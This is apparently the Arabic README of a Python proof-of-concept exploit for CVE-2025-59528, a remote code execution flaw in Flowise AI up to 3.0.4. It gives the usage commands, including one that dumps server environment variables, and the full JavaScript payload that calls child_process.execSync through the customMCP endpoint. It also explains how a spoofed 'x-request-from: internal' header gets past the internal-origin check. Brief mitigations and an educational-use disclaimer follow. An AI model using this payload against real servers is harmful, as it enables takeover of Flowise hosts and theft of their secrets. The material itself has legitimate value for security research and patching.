
استغلال Python PoC لـ CVE-2025-59528، يحقق RCE موثق على Flowise AI <= 3.0.4 عبر نقطة نهاية customMCP و Node.js child_process.execSync.
معرّف CVE: CVE-2025-59528
البرنامج المتأثر: Flowise AI
الإصدارات المصابة: <= 3.0.4
الإصدار المُصلَح: 3.0.5 وما بعده
الخطورة: حرجة
المؤلف: arensballiu
التاريخ: 2025
تسمح إصدارات Flowise AI حتى الإصدار 3.0.4 (ضمناً) للمستخدم المُصادَق عليه بتحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) على الخادم المضيف عبر إرسال حمولة JavaScript مُصمَّمة إلى نقطة النهاية /api/v1/node-load-method/customMCP.
تقبل طريقة التحميل الخاصة بعقدة customMCP مدخلات يتحكم بها المستخدم يتم تقييمها على جانب الخادم كلغة JavaScript، دون تعقيم أو عزل (sandboxing) كافٍ. ومن خلال حقن حمولة تستغل child_process.execSync في Node.js، يستطيع المهاجم تشغيل أوامر نظام تشغيل عشوائية بصلاحيات عملية خادم Flowise.
تتطلب نقطة النهاية أيضاً وجود الترويسة x-request-from: internal.
| نقطة النهاية | الطريقة | المصادقة مطلوبة | الغرض |
|---|---|---|---|
/api/v1/auth/login | POST | لا | المصادقة والحصول على جلسة |
/api/v1/node-load-method/customMCP | POST | نعم (ملف تعريف ارتباط الجلسة) | نقطة نهاية طريقة تحميل العقدة المصابة |
الملف: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| العلامة | الصيغة الطويلة | مطلوب | الوصف |
|---|---|---|---|
-e | --email | نعم | عنوان البريد الإلكتروني للمستخدم المُصادَق عليه |
-i | --url | نعم | عنوان URL الأساسي لنسخة Flowise |
-p | --password | نعم | كلمة مرور المستخدم المُصادَق عليه |
-c | --cmd | نعم | أمر نظام التشغيل المراد تنفيذه على الخادم |
التحقق من تنفيذ التعليمات البرمجية:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
استرجاع متغيرات بيئة الخادم:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
يحقن الاستغلال التعبير JavaScript التالي في حقل mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') - يحمّل وحدة تنفيذ العمليات المدمجة في Node.js.execSync('<command>') - ينفّذ أمر نظام التشغيل الذي يوفّره المهاجم بشكل متزامن.كما يُضاف الترويسة x-request-from: internal إلى الطلب لتجاوز فحص الأصل الداخلي الذي كان سيمنع الاستدعاء لولا ذلك.
تُمرّر نقطة النهاية customMCP المدخلات التي يوفّرها المستخدم مباشرةً إلى سياق تقييم JavaScript على الخادم دون تعقيم أو عزل (sandboxing). وبالاقتران مع الوصول غير المقيّد إلى وحدات Node.js الأساسية (وتحديدًا child_process) عبر process.mainModule.require، فإن هذا ينشئ ناقل RCE سهل الاستغلال للغاية. ولا يوفّر فحص الترويسة x-request-from أي حد أمني ذي معنى لأنه لا يُتحقّق منه مقابل أي مصدر موثوق.
يمكن تسلسل هاتين الثغرتين لإنشاء مسار هجوم RCE دون مصادقة ضد نسخ Flowise التي تعمل بالإصدارات <= 3.0.4:
child_process، fs، إلخ) عبر عزل مناسب (مثل vm2، أو سياقات معزولة، أو إزالة الوصول إلى process.mainModule).x-request-from ووثّقها عبر آلية من جهة الخادم بدلًا من فحص نصي بسيط.يُقدَّم هذا الإثبات المفهومي لأغراض تعليمية وأغراض البحث الأمني المصرّح به فقط. يُعدّ استخدام هذا السكربت ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاقي. ولا يتحمّل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.